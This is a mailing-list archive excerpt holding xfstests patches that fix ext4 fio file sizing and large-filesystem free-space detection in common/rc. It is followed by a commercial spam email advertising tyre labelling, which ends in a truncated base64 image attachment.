b/tests/ext4/303 index f96264e..6fb6357 100755 --- a/tests/ext4/303 +++ b/tests/ext4/303 @@ -45,18 +45,13 @@ _need_to_be_root _require_scratch _require_defrag -BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` -# We need space for 3 files (one donor file and two test files) -# Reserve space for 4 files in order to avoid ENOSPC -FILE_SIZE=$((BLK_DEV_SIZE * (512 / (3+1)))) - cat >$fio_config <> $seqres.full cat $fio_config >> $seqres.full run_check $FIO_PROG $fio_config } - +# Temproraly export FIO_FILE_SIZE which is required for fio's job validation +export FIO_FILE_SIZE=16384 _require_fio $fio_config _scratch_mkfs >> $seqres.full 2>&1 diff --git a/tests/ext4/304 b/tests/ext4/304 index 5e03d4a..7cbf1dd 100755 --- a/tests/ext4/304 +++ b/tests/ext4/304 @@ -46,18 +46,13 @@ _need_to_be_root _require_scratch _require_defrag -BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` -# We need space for 2 files (test file, and donor one) -# reserve 30% in order to avoid ENOSPC -FILE_SIZE=$((BLK_DEV_SIZE * (512 / (2 + 1)))) - cat >$fio_config <> $seqres.full cat $fio_config >> $seqres.full run_check $FIO_PROG $fio_config } - +# Temproraly export FIO_FILE_SIZE which is required for fio's job validation +export FIO_FILE_SIZE=16384 _require_fio $fio_config _scratch_mkfs >> $seqres.full 2>&1 -- 1.7.1 From dmonakhov@openvz.org Tue Jul 9 06:05:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 129857F52 for ; Tue, 9 Jul 2013 06:05:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 01A87304043 for ; Tue, 9 Jul 2013 04:05:34 -0700 (PDT) X-ASG-Debug-ID: 1373367931-04cbb04690d18790001-NocioJ Received: from relay.sw.ru (mailhub.sw.ru [195.214.232.25]) by cuda.sgi.com with ESMTP id y0xCqGeJtp34fGr2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 09 Jul 2013 04:05:32 -0700 (PDT) X-Barracuda-Envelope-From: dmonakhov@openvz.org X-Barracuda-Apparent-Source-IP: 195.214.232.25 Received: from mct-mail.qa.sw.ru ([10.29.1.112]) by relay.sw.ru (8.13.4/8.13.4) with ESMTP id r69B5PIZ022022; Tue, 9 Jul 2013 15:05:26 +0400 (MSK) From: Dmitry Monakhov To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, dchinner@redhat.com, Dmitry Monakhov Subject: [PATCH 1/4] large-fs: fix large_fs space detection Date: Tue, 9 Jul 2013 15:05:15 +0400 X-ASG-Orig-Subj: [PATCH 1/4] large-fs: fix large_fs space detection Message-Id: <1373367918-7516-1-git-send-email-dmonakhov@openvz.org> X-Mailer: git-send-email 1.7.7.6 X-Barracuda-Connect: mailhub.sw.ru[195.214.232.25] X-Barracuda-Start-Time: 1373367932 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Currenly large_fs check compare $SCRATCH_DEV_EMPTY_SPACE and $fs_size which is not correct because total empty size required is $SCRATCH_DEV_EMPTY_SPACE + 50Gb This path fix space detection, so check becomes valid for all situations. Signed-off-by: Dmitry Monakhov --- common/rc | 27 +++++++++++++++------------ 1 files changed, 15 insertions(+), 12 deletions(-) diff --git a/common/rc b/common/rc index fe6bbfc..c44acea 100644 --- a/common/rc +++ b/common/rc @@ -306,16 +306,17 @@ _setup_large_xfs_fs() { fs_size=$1 local tmp_dir=/tmp/ + # Default free space in the FS is 50GB, but you can specify more via + # SCRATCH_DEV_EMPTY_SPACE + fs_empty_space=$((50*1024*1024*1024)) [ "$LARGE_SCRATCH_DEV" != yes ] && return 0 - [ -z "$SCRATCH_DEV_EMPTY_SPACE" ] && SCRATCH_DEV_EMPTY_SPACE=0 - [ $SCRATCH_DEV_EMPTY_SPACE -ge $fs_size ] && return 0 + [ -z "$SCRATCH_DEV_EMPTY_SPACE" ] && SCRATCH_DEV_EMPTY_SPACE=0 + fs_empty_space=$((fs_empty_space + $SCRATCH_DEV_EMPTY_SPACE)) + [ $fs_empty_space -ge $fs_size ] && return 0 # calculate the size of the file we need to allocate. - # Default free space in the FS is 50GB, but you can specify more via - # SCRATCH_DEV_EMPTY_SPACE - file_size=$(($fs_size - 50*1024*1024*1024)) - file_size=$(($file_size - $SCRATCH_DEV_EMPTY_SPACE)) + file_size=$(($fs_size - $fs_empty_space)) # mount the filesystem, create the file, unmount it _scratch_mount 2>&1 >$tmp_dir/mnt.err @@ -434,15 +435,17 @@ _setup_large_ext4_fs() { fs_size=$1 local tmp_dir=/tmp/ - - [ "$LARGE_SCRATCH_DEV" != yes ] && return 0 - [ -z "$SCRATCH_DEV_EMPTY_SPACE" ] && SCRATCH_DEV_EMPTY_SPACE=0 - [ $SCRATCH_DEV_EMPTY_SPACE -ge $fs_size ] && return 0 - # Default free space in the FS is 50GB, but you can specify more via # SCRATCH_DEV_EMPTY_SPACE - space_to_consume=$(($fs_size - 50*1024*1024*1024 - $SCRATCH_DEV_EMPTY_SPACE)) + fs_empty_space=$((50*1024*1024*1024)) + [ "$LARGE_SCRATCH_DEV" != yes ] && return 0 + [ -z "$SCRATCH_DEV_EMPTY_SPACE" ] && SCRATCH_DEV_EMPTY_SPACE=0 + fs_empty_space=$((fs_empty_space + $SCRATCH_DEV_EMPTY_SPACE)) + [ $fs_empty_space -ge $fs_size ] && return 0 + + # calculate the size of the file we need to allocate. + space_to_consume=$(($fs_size - $fs_empty_space)) # mount the filesystem and create 16TB - 4KB files until we consume # all the necessary space. _scratch_mount 2>&1 >$tmp_dir/mnt.err -- 1.7.1 From seyrek@tire-style.de Tue Jul 9 06:54:30 2013 Return-Path: X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2B1EF7F37 for ; Tue, 9 Jul 2013 06:54:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E099EAC006 for ; Tue, 9 Jul 2013 04:54:24 -0700 (PDT) X-ASG-Debug-ID: 1373370845-04cb6c2a46a6e1b0001-NocioJ Received: from rsi1.gerwanserver.de (rsi1.gerwanserver.de [91.220.34.47]) by cuda.sgi.com with ESMTP id ZTvc5UTUx3jelj3P (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 09 Jul 2013 04:54:07 -0700 (PDT) X-Barracuda-Envelope-From: seyrek@tire-style.de X-Barracuda-Apparent-Source-IP: 91.220.34.47 X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network X-No-Relay: not in my network Received: from [192.168.2.100] (p57ADD504.dip0.t-ipconnect.de [87.173.213.4]) by rsi1.gerwanserver.de (Postfix) with ESMTPSA id 66F5033845C; Tue, 9 Jul 2013 13:53:34 +0200 (CEST) Message-ID: <51DBF9CA.7000400@tire-style.de> Date: Tue, 09 Jul 2013 13:53:46 +0200 From: Tire Style User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Verborgene_Empfaenger:; Subject: Customized tyre labeling get a Dealer Content-Type: multipart/mixed; boundary="------------000003080901040500010303" X-ASG-Orig-Subj: Customized tyre labeling get a Dealer X-Barracuda-Connect: rsi1.gerwanserver.de[91.220.34.47] X-Barracuda-Start-Time: 1373370846 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 This is a multi-part message in MIME format. --------------000003080901040500010303 Content-Type: multipart/alternative; boundary="------------090909050406000309010007" --------------090909050406000309010007 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit *To all you car and motorcycle fans* We are delighted to let you know about a sensational, new, global, patentedway of individually labelling your vehicle and motorcycle tyres. Our "Tire Style" solution lets you label the customer's tyres quickly, simply and in a lasting way and we are looking for youas a distribution partner. We can assure you that you have never seen anything like this before. No need to dismantle your tyre and send it to us. Just use our self assembly kit and you can do the labelling quickly and simply right on the vehicle. You will be inspired by our patented product. */Andwe are looking for you as a distribution partner./* _/*See our PDF flyer attached for more INFORMATION and PICTURES on */__/*Tire Style*/__/*. */_ /*_VISIT OUR HOMEPAGE www-tire-style.com_*/ -- --------------090909050406000309010007 Content-Type: multipart/related; boundary="------------010207070509040203010201" --------------010207070509040203010201 Content-Type: text/html; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit

    To all you car and motorcycle fans

    We are delighted to let you know about a sensational, new, global, patentedway of individually labelling your vehicle and motorcycle tyres.

    Our "Tire Style" solution lets you label the customer’s tyres quickly, simply and in a lasting way and we are looking for youas a distribution partner.

    We can assure you that you have never seen anything like this before.

    No need to dismantle your tyre and send it to us. Just use our self assembly kit and you can do the labelling quickly and simply right on the vehicle.

    You will be inspired by our patented product.

    Andwe are looking for you as a distribution partner.

    See our PDF flyer attached for more INFORMATION and PICTURES on Tire Style.

    VISIT OUR HOMEPAGE www-tire-style.com
    --
    --------------010207070509040203010201 Content-Type: image/jpeg; name="TS E Mail Visitenkarte.jpg" Content-Transfer-Encoding: base64 Content-ID: Content-Disposition: inline; filename="TS E Mail Visitenkarte.jpg" /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAAR CAIrAooDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl 5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk 5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD+/iiiigAooooAKKKKACiiigAooooAKKKK ACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAo oooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKK ACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiv5//APgv38HPE3x78Ff8 E/vhh4E1e40D4jap+3Tb+IvhZrltK8T6P8W/h7+y1+0z8RfhPqcpjdGktLL4jeFPDFxf2+9U urKO4tpD5crCsK+IpYZ4SVdzjQr5nlGArVKdOdapQpZnmmDy6piYYelGVTEzwsMU8RHC0+We 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 